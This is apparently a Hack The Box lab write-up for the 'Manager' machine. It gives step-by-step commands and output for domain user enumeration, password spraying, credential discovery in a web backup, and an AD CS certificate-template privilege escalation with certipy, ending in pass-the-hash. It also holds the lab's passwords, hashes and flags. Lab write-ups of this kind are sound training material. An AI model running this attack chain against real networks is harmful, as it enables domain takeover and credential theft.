


Manager



IP: 10.129.55.18

Info Gathering

Initial Setup

```
# Make directory to save files
mkdir ~/HTB/Boxes/Manager
cd ~/HTB/Boxes/Manager

# Open a tmux session
tmux new -s Manager

# Start logging session
(Prefix-Key) CTRL + b, SHIFT + P

# Connect to HackTheBox OpenVPN
openvpn /etc/openvpn/client/lab_tobor.ovpn

# Create Metasploit Workspace
msfconsole
workspace -a Manager
workspace Manager
setg LHOST 10.10.14.98
setg LPORT 1337
setg RHOST 10.129.55.18
setg RHOSTS 10.129.55.18
setg SRVHOST 10.10.14.98
setg SRVPORT 9000
use multi/handler
```

Enumeration

```
# Add enumeration info into workspace
db_nmap -sC -sV -O -A 10.129.55.18 -oN manager.nmap
```

Hosts

```
Hosts
=====
```

address	mac	name	os_name	os_flavor	os_sp	purpose	info	comments
10.129.55.18			Windows 2019			server		

Services

host	port	proto	name	state	info
10.129.55.18	53	tcp	domain	open	Simple DNS Plus
10.129.55.18	80	tcp	http	open	Microsoft IIS httpd 10.0
10.129.55.18	88	tcp	kerberos-sec	open	Microsoft Windows Kerberos server time: 2023-11-27 03:03:18Z
10.129.55.18	135	tcp	msrpc	open	Microsoft Windows RPC
10.129.55.18	139	tcp	netbios-ssn	open	Microsoft Windows netbios-ssn
10.129.55.18	389	tcp	ldap	open	Microsoft Windows Active Directory LDAP Domain: manager.htb0.
10.129.55.18	445	tcp	microsoft-ds	open	
10.129.55.18	464	tcp	kpasswd5	open	
10.129.55.18	593	tcp	ncacn_http	open	Microsoft Windows RPC over HTTP 1.0
10.129.55.18	636	tcp	ssl/ldap	open	Microsoft Windows Active Directory LDAP Domain: manager.htb0.
10.129.55.18	1433	tcp	ms-sql-s	open	Microsoft SQL Server 2019 15.00.2000.00; RTM
10.129.55.18	3268	tcp	ldap	open	Microsoft Windows Active Directory LDAP Domain: manager.htb0.
10.129.55.18	3269	tcp	ssl/ldap	open	Microsoft Windows Active Directory LDAP Domain: manager.htb0.

Gaining Access

I discovered from the nmap scan that the domain is manager.htb and the hostname is DC01.manager.htb

Screenshot Evidence

```
[*] Nmap: | _ TCP port: 1433
[*] Nmap: | ms-sql-ntlm-info:
[*] Nmap: | 10.129.55.18:1433:
[*] Nmap: | Target_Name: MANAGER
[*] Nmap: | NetBIOS_Domain_Name: MANAGER
[*] Nmap: | NetBIOS_Computer_Name: DC01
[*] Nmap: | DNS_Domain_Name: manager.htb
[*] Nmap: | DNS_Computer_Name: dc01.manager.htb
[*] Nmap: | DNS_Tree_Name: manager.htb
[*] Nmap: | Product_Version: 10.0.17763
```

I added those values to my /etc/hosts file

```
# Edit file
vim /etc/hosts

# Add Line
10.129.55.18 dc01.manager.htb manager.htb
```

Screenshot Evidence

```
File Actions Edit View Help
127.0.0.1 localhost
127.0.1.1 kali
10.129.55.18 dc01.manager.htb manager.htb
```

DNS Port 53

I was unable to perform a DNS zone transfer and I did not find any other subdomains using a fuzzer

LDAP Port 389

I dumped unauthenticated info from LDAP but did not return anything new or useful

```
# Command Executed
ldapsearch -LLL -x -H ldap://dc01.manager.htb -b '' -s base '(objectclass=*)' > manager.ldap
```

SMB Port 445

I was only able to grab the SMB Banner to discover SMBv1 is enabled on the device. It is not vulnerable to eternal blue

```
# Start Listener
ngrep -i -d tun0 's.?a.?m.?b.?a.*[[:digit:]]'

# Connect to Listener an grep banner
smbclient -L 10.129.55.18 -U "" -N

# Check Eternal Blue
nmap -p 139,445 --script=smb-vuln-ms08-067 --script-args=unsafe=1 10.129.55.18
```

Screenshot Evidence

```
(root@kali) - [~/HTB/Boxes/Manager]
#
ngrep -i -d tun0 's.?a.?m.?b.?a.*[[:digit:]]'
interface: tun0 (10.10.14.0/255.255.254.0)
filter: (ip || ip6)
match (JIT): s.?a.?m.?b.?a.*[[:digit:]]
#####
T 10.10.14.98:42922 -> 10.129.55.18:445 [AP] #5
. . . . .SMBr . . . . .C . . . . . MICROSOFT NETWORKS 3.0 .. LANMAN1
.0 .. LM1.2X002 .. DOS LANMAN2.1 .. LANMAN2.1 .. Samba .. NT LANMAN 1.0 .. NT LM 0.12
.. SMB 2.002 .. SMB 2.
???.
```

Kerberos Port 88

I was able to enumerate a list of users through Kerberos ASPERoasting

```
# Impacket Method
python3 /usr/share/doc/python3-impacket/examples/GetNPUsers.py manager.htb/ -usersfile /usr/share/seclists/
Usernames/xato-net-10-million-usernames.txt | grep -v 'Client not found in Kerberos database' >> userlist.txt

# Metasploit Method
use gather/kerberos_enumusers
setg DOMAIN manager.htb
set USER_FILE /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
run
```

I returned the below list of users and saved them in a file

Contents of userlist.txt

```
ryan
cheng
raven
guest
administrator
operator
jinwoo
zhong
chinhaw
```

Screenshot Evidence

```
msf6 auxiliary(gather/kerberos_enumusers) > creds
Credentials
=====
```

host	origin	service	public	private	realm
10.129.55.18	10.129.55.18	88/tcp (kerberos)	ryan		MANAGER.HTB
10.129.55.18	10.129.55.18	88/tcp (kerberos)	guest		MANAGER.HTB
10.129.55.18	10.129.55.18	88/tcp (kerberos)	cheng		MANAGER.HTB
10.129.55.18	10.129.55.18	88/tcp (kerberos)	raven		MANAGER.HTB
10.129.55.18	10.129.55.18	88/tcp (kerberos)	administrator		MANAGER.HTB
10.129.55.18	10.129.55.18	88/tcp (kerberos)	operator		MANAGER.HTB
10.129.55.18	10.129.55.18	88/tcp (kerberos)	jinwoo		MANAGER.HTB
10.129.55.18	10.129.55.18	88/tcp (kerberos)	zhong		MANAGER.HTB

I first attempted SMB logins using blank passwords and the username as a password and had 3 successful results

```
# CrackMapExec (cme) Method
crackmapexec smb 10.129.55.18 -u userlist.txt -p userlist.txt

# Metasploit Method
use scanner/smb/smb_login
set USER_FILE /root/HTB/Boxes/Manager/userlist.txt
set USER_AS_PASS true
set SMBDomain manager.htb
set RHOSTS 10.129.55.18
set BLANK_PASSWORDS true
run
```

Screenshot Evidence

```
msf6 auxiliary(scanner/smb/smb_login) > creds
Credentials
=====
```

host	origin	service	public	private	realm	private_type
10.129.55.18	10.129.55.18	88/tcp (kerberos)	ryan		MANAGER.HTB	
10.129.55.18	10.129.55.18	88/tcp (kerberos)	guest		MANAGER.HTB	
10.129.55.18	10.129.55.18	88/tcp (kerberos)	cheng		MANAGER.HTB	
10.129.55.18	10.129.55.18	88/tcp (kerberos)	raven		MANAGER.HTB	
10.129.55.18	10.129.55.18	88/tcp (kerberos)	administrator		MANAGER.HTB	
10.129.55.18	10.129.55.18	88/tcp (kerberos)	operator		MANAGER.HTB	
10.129.55.18	10.129.55.18	88/tcp (kerberos)	jinwoo		MANAGER.HTB	
10.129.55.18	10.129.55.18	88/tcp (kerberos)	zhong		MANAGER.HTB	
10.129.55.18	10.129.55.18	445/tcp (smb)	guest			Blank password
10.129.55.18	10.129.55.18	445/tcp (smb)	operator	operator		Password
10.129.55.18	10.129.55.18	445/tcp (smb)	chinhaw			Blank password

USER: operator

PASS: operator

I used the credentials for operator to enumerate SQL information and SMB share information

```
# Metasploit Method
use scanner/smb/smb_enumshares
set SMBUser operator
set SMBPass operator
set SMBDomain manager.htb
set RHOSTS 10.129.55.18
```

```
run

# SMBClient Method
smbclient -L 10.129.55.18 -U operator -W manager.htb
Password for [MANAGER.HTB\operator]: operator

# SMBMap Method
smbmap -u operator -p operator -d manager.htb -H 10.129.55.18
```

Screenshot Evidence

```
msf6 auxiliary(scanner/smb/smb_enumshares) > run

[*] 10.129.55.18:139 - Starting module
[-] 10.129.55.18:139 - Login Failed: Unable to negotiate SMB1 with the remote host: Not a
[*] 10.129.55.18:445 - Starting module
[!] 10.129.55.18:445 - peer_native_os is only available with SMB1 (current version: SMB3)
[!] 10.129.55.18:445 - peer_native_lm is only available with SMB1 (current version: SMB3)
[+] 10.129.55.18:445 - ADMIN$ - (DISK|SPECIAL) Remote Admin
[+] 10.129.55.18:445 - C$ - (DISK|SPECIAL) Default share
[+] 10.129.55.18:445 - IPC$ - (IPC|SPECIAL) Remote IPC
[+] 10.129.55.18:445 - NETLOGON - (DISK) Logon server share
[+] 10.129.55.18:445 - SYSVOL - (DISK) Logon server share
[*] 10.129.55.18: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

I then verified whether the credentials worked on the SQL server and they do

```
# Metasploit Method
use scanner/mssql/mssql_login
set USERNAME operator
set PASSWORD operator
set DOMAIN manager.htb
set STOP_ON_SUCCESS true
set BLANK_PASSWORDS false
set RHOSTS 10.129.55.18
set RPORT 1433
set USE_WINDOWS_AUTHENT true
run
```

Screenshot Evidence

```
msf6 auxiliary(scanner/mssql/mssql_login) > run

[*] 10.129.55.18:1433 - 10.129.55.18:1433 - MSSQL - Starting authentication scanner.
[+] 10.129.55.18:1433 - 10.129.55.18:1433 - Login Successful: manager.htb\operator:operator
[*] 10.129.55.18:1433 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/mssql/mssql_login) > |
[Manager] 0:openvpn 1:msf* 2:hash-
```

I then connected to the MSSQL Database using Impacket

```
# Command Executed
python3 /usr/share/doc/python3-impacket/examples/mssqlclient.py -port 1433 manager.htb/
operator:operator@dc01.manager.htb -windows-auth
```

Screenshot Evidence

```
(root@kali)-[~/HTB/Boxes/Manager]
└─# python3 /usr/share/doc/python3-impacket/examples/mssqlclient.py -port 1433
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL (MANAGER\Operator guest@master)> |
[Manager] 0:openvpn 1:msf- 2:python3*
```

I enumerated some common info I would want to know after compromising a SQL database
I discovered I could enumerate the file system

```
# SQL Commands Executed
# Is the database linked
SELECT srvname,isremote from sys.servers;

# Attempt command injection - FAILS
EXEC sp_configure 'show advanced options', 1;

# Attempt Directory Enumeration
EXEC xp_dirtree 'C:\inetpub\wwwroot', 1, 1;
```

Screenshot Evidence

```
SQL (MANAGER\Operator guest@master)> EXEC xp_dirtree 'C:\inetpub\wwwroot', 1, 1;
subdirectory          depth  file
-----
about.html            1      1
contact.html          1      1
css                   1      0
images                1      0
index.html            1      1
js                    1      0
service.html          1      1
web.config            1      1
website-backup-27-07-23-old.zip 1      1

SQL (MANAGER\Operator guest@master)> |
[Manager] 0:openvpn 1:msf- 2:python3*
```

I was able to simply download the website-backup-27-07-23-old.zip file which I see exists after viewing the sites directory

```
# Command Executed
```

```
wget http://dc01.manager.htb/website-backup-27-07-23-old.zip -P /root/HTB/Boxes/Manager/  
unzip website-backup-27-07-23-old.zip -d /root/HTB/Boxes/Manager/website/
```

Screenshot Evidence [Download File](#)

```
(root@kali)-[~/HTB/Boxes/Manager]  
└─# wget http://dc01.manager.htb/website-backup-27-07-23-old.zip -P .  
--2023-11-26 16:37:46-- http://dc01.manager.htb/website-backup-27-07-23-old  
Resolving dc01.manager.htb (dc01.manager.htb) ... 10.129.55.18  
Connecting to dc01.manager.htb (dc01.manager.htb)|10.129.55.18|:80 ... connect  
HTTP request sent, awaiting response ... 200 OK  
Length: 1045328 (1021K) [application/x-zip-compressed]  
Saving to: './website-backup-27-07-23-old.zip.1'  
  
website-backup-27-07-23-old.zip.1      100%[=====]  
  
2023-11-26 16:37:48 (705 KB/s) - './website-backup-27-07-23-old.zip.1' saved
```

Screenshot Evidence [Unzip File](#)

```
(root@kali)-[~/HTB/Boxes/Manager]  
└─# unzip website-backup-27-07-23-old.zip -d /root/HTB/Boxes/Manager/website  
Archive: website-backup-27-07-23-old.zip  
  inflating: /root/HTB/Boxes/Manager/website/.old-conf.xml  
  inflating: /root/HTB/Boxes/Manager/website/about.html  
  inflating: /root/HTB/Boxes/Manager/website/contact.html  
  inflating: /root/HTB/Boxes/Manager/website/css/bootstrap.css  
  inflating: /root/HTB/Boxes/Manager/website/css/responsive.css
```

There is a hidden file .old-conf.xml I view the contents of and obtained a username and password for

```
# Command Executed
```

```
cat .old-conf.xml
```

USER: raven@manager.htb

PASS: R4v3nBe5tD3veloP3r!123

Screenshot Evidence

```
<?xml version="1.0" encoding="UTF-8"?>
<ldap-conf xmlns:xsi="http://www.w3.org/2001/XMLSchema
  <server>
    <host>dc01.manager.htb</host>
    <open-port enabled="true">389</open-port>
    <secure-port enabled="false">0</secure-port>
    <search-base>dc=manager,dc=htb</search-base>
    <server-type>microsoft</server-type>
    <access-user>
      <user>raven@manager.htb</user>
      <password>R4v3nBe5tD3veloP3r!123</password>
    </access-user>
```

I checked to see if I could access WinRM using these credentials and was successful

```
# Metasploit Test
use scanner/winrm/winrm_login
set USERNAME raven
set PASSWORD R4v3nBe5tD3veloP3r!123
set DOMAIN manager.htb
set STOP_ON_SUCCESS true
set BLANK_PASSWORDS false
run
```

Screenshot Evidence

```
msf6 auxiliary(scanner/winrm/winrm_login) > run
[+] 10.129.55.18:5985 - Login Successful: manager.htb\raven:R4v3nBe5tD3veloP3r!123
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/winrm/winrm_login) > |
[Manager] 0:openvpn 1:msf* 2:python3 3:bash-
```

I then accessed the machine using WinRM and was able to read the user flag

```
# Commands Excuted
/usr/bin/evil-winrm-i dc01.manager.htb -u raven -p 'R4v3nBe5tD3veloP3r!123'
type C:\Users\raven\Desktop\user.txt
#RESULTS
354a29ec4de67fc4c2f84f40a9fd3713
```

Screenshot Evidence


```
(root@kali)-[~/HTB/Boxes/Manager/website]
└─# /usr/bin/evil-winrm -i dc01.manager.htb -u raven -p 'R4v3nBe5tD3veloP3r!123'

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detec

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplaye

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Raven\Documents> type C:\Users\raven\Desktop\user.txt
354a29ec4de67fc4c2f84f40a9fd3713
*Evil-WinRM* PS C:\Users\Raven\Documents> hostname
dc01
*Evil-WinRM* PS C:\Users\Raven\Documents> whoami
manager\raven
*Evil-WinRM* PS C:\Users\Raven\Documents> ipconfig

Windows IP Configuration

Ethernet adapter Ethernet0 2:

    Connection-specific DNS Suffix  . : .htb
    IPv4 Address. . . . . : 10.129.55.18
    Subnet Mask . . . . . : 255.255.0.0
    Default Gateway . . . . . : 10.129.0.1
*Evil-WinRM* PS C:\Users\Raven\Documents> |
[Manager] 0:openvpn 1:msf 2:mssql- 3:winrm*
```

USER FLAG: 354a29ec4de67fc4c2f84f40a9fd3713

PrivEsc

As part of the enumeration I listed certificate templates and their permissions

```
# Commands Executed
CertUtil -Template
```

I discovered a Subordinate CA certificate. An intermediate CA is able to issue valid certificates underneath a Root Certificate Authority.

Using a tool certipy-ad I am able to assign myself certificate assignment permissions temporarily. They typically revert after a period of time. I will however have permissions long enough to do damage

Screenshot Evidence

```

Template[27]:
TemplatePropCommonName = SubCA
TemplatePropFriendlyName = Subordinate Certification Authority
TemplatePropSecurityDescriptor = 0:S-1-5-21-4078382237-1492182817-25681
-00c04f79dc55 ;; DA)(OA ;; RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55 ;; S-1-
5DRCWDWO;;;S-1-5-21-4078382237-1492182817-2568127209-519)(A ;; LCRPLORC;;;

Allow Enroll          MANAGER\Domain Admins
Allow Enroll          MANAGER\Enterprise Admins
Allow Full Control    MANAGER\Domain Admins
Allow Full Control    MANAGER\Enterprise Admins
Allow Read            NT AUTHORITY\Authenticated Users

```

I needed to make sure my machine time matches the servers time in order to exploit Kerberos

```

# Got the time on the target machine
Get-TimeZone

# Set that time on my attack machine
timedatectl set-ntp off
timedatectl set-timezone US/Pacific
date -s '26 NOV 2023 21:27:00'

```

I made the raven user an 'officer' account using certipy.ad
This allows me to manage certificates in Active Directory.

```

# Commands Executed
certipy-ad ca -ca 'manager-DC01-CA' -add-officer raven -username raven@manager.htb -password
'R4v3nBe5tD3veLoP3r!123'

```

Screenshot Evidence

```

(root@kali)-[~/HTB/Boxes/Manager]
└─# certipy-ad ca -ca 'manager-DC01-CA' -add-officer raven -
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Successfully added officer 'Raven' on 'manager-DC01-CA'

```

Windows utilizes Kerberos tickets to grant permissions to user accounts.

All your permissions are obtained from a certificate your user is assigned and they do not come live from Active Directory

We are going to take advantage of this by assigning ourselves a Ticket Granting Ticket (TGT) which grants us the ability to grant and approve tickets with permissions we assign

This will allow us to add a permission manually instead of obtaining that information from AD

More info on this can be read about here

REFERENCE: <https://github.com/ly4k/Certipy#domain-escalation>

I enabled a certificate template and requested that certificate to grant myself elevated privileges

```

# Create template to issue
certipy-ad ca -ca 'manager-DC01-CA' -enable-template SubCA -username 'raven@manager.htb' -password
'R4v3nBe5tD3veLoP3r!123'

```

```
# Issue certificate with administrative privileges
# NOTE: This will say Failed to request certificate which is expected
certipy-ad req -username 'raven@manager.htb' -password 'R4v3nBe5tD3veLoP3r!123' -ca 'manager-DC01-CA' -target
manager.htb -template SubCA -upn 'administrator@manager.htb'

# Reassign Permission
certipy-ad ca -ca 'manager-DC01-CA' -add-officer raven -username raven@manager.htb -password
'R4v3nBe5tD3veLoP3r!123'

# The number 16 I retrieved from the Request ID output in the above command
certipy-ad ca -ca 'manager-DC01-CA' -issue-request 16 -username raven@manager.htb -password
'R4v3nBe5tD3veLoP3r!123'
```

Screenshot Evidence Create Certificate Template

```
(root@kali)-[~/HTB/Boxes/Manager]
└─# certipy-ad ca -ca 'manager-DC01-CA' -enable-templat
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Successfully enabled 'SubCA' on 'manager-DC01-CA'
```

Screenshot Evidence Request Certificate

```
(root@kali)-[~/HTB/Boxes/Manager]
└─# certipy-ad req -username 'raven@manager.htb'
r.htb'
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[-] Got error while trying to request certificate
ser to enroll for this type of certificate.
[*] Request ID is 14
Would you like to save the private key? (y/N) y
[*] Saved private key to 14.key
[-] Failed to request certificate
```

Screenshot Evidence

```
(root@kali)-[~/HTB/Boxes/Manager]
└─# certipy-ad ca -ca 'manager-DC01-CA' -issue-request 16
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Successfully issued certificate
```

Once granted I retrieved the certificate I issued myself

```
# Command Executed
```

```
certipy-ad req -username 'raven@manager.htb' -password 'R4v3nBe5tD3veLoP3r!123' -ca 'manager-DC01-CA' -target manager.htb -retrieve 16
```

Screenshot Evidence

```
(root@kali)-[~/HTB/Boxes/Manager]
└─# certipy-ad req -username 'raven@manager.htb' -password 'R
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Retrieving certificate with ID 16
[*] Successfully retrieved certificate
[*] Got certificate with UPN 'administrator@manager.htb'
[*] Certificate has no object SID
[*] Loaded private key from '16.key'
[*] Saved certificate and private key to 'administrator.pfx'
```

I then authenticated to the machine using the certificate

```
# Command Executed
apt install python3.11-venv -y
python3 -m venv /root/HTB/Boxes/Manager/venv
source /root/HTB/Boxes/Manager/venv/bin/activate

certipy-ad auth -pfx administrator.pfx -username administrator -domain manager.htb -dc-ip 10.129.55.18
```

I needed to make sure my machine time matches the servers time in order to exploit Kerberos again

```
# On Target Machine
Get-TimeZone

# I had to manually set my time because the machine had no internet
timedatectl set-ntp off
date -s '26 NOV 2023 21:19:00'
```

Screenshot Evidence

```
(venv)(root@kali)-[~/HTB/Boxes/Manager]
└─# certipy-ad auth -pfx administrator.pfx -username administrator -domain manager.htb -dc-ip 10.129.55.18
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@manager.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@manager.htb': aad3b435b51404eeaad3b435b51404ee:ae5064c2f62317332c88629e025924ef
```

I next dumped the administrator hash

```
# Command Executed
certipy auth -pfx administrator.pfx -dc-ip 10.129.55.18
```

Screenshot Evidence

```
(venv)(root@kali)-[~/HTB/Boxes/Manager]
# certipy-ad auth -pfx administrator.pfx -dc-ip 10.129.55.18
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@manager.htb
[*] Trying to get TGT ...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@manager.htb': aad3b435b51404eeaad3b435b51404ee:ae5064c2f62317332c88629e025924ef
```

I then used a pass the hash for the administrator to access the machine

```
# Commands Executed
/usr/bin/evil-winrm -i 10.129.55.18 -u administrator -H ae5064c2f62317332c88629e025924ef
```

I was then able to read the root flag

```
# Commands Executed
cat /root/root.txt
#RESULTS
9cab3d547dfc3d8f072dad099d4a2faa
```

Screenshot Evidence

```
(venv)(root@kali)-[~/HTB/Boxes/Manager]
# /usr/bin/evil-winrm -i 10.129.55.18 -u administrator -H ae5064c2f62317332c88629e025924ef

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc()

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> type C:\Users\Administrator\Desktop\root.txt
9cab3d547dfc3d8f072dad099d4a2faa
*Evil-WinRM* PS C:\Users\Administrator\Documents> hostname
dc01
whoa*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
manager\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> ipconfig

Windows IP Configuration

Ethernet adapter Ethernet0 2:

    Connection-specific DNS Suffix  . : .htb
    IPv4 Address. . . . . : 10.129.55.18
    Subnet Mask . . . . . : 255.255.0.0
    Default Gateway . . . . . : 10.129.0.1
*Evil-WinRM* PS C:\Users\Administrator\Documents> |
[Manager] 0:openvpn 1:msf 2:mssql 3:winrm 4:ruby* 5:bash-
```

ROOT FLAG: 9cab3d547dfc3d8f072dad099d4a2faa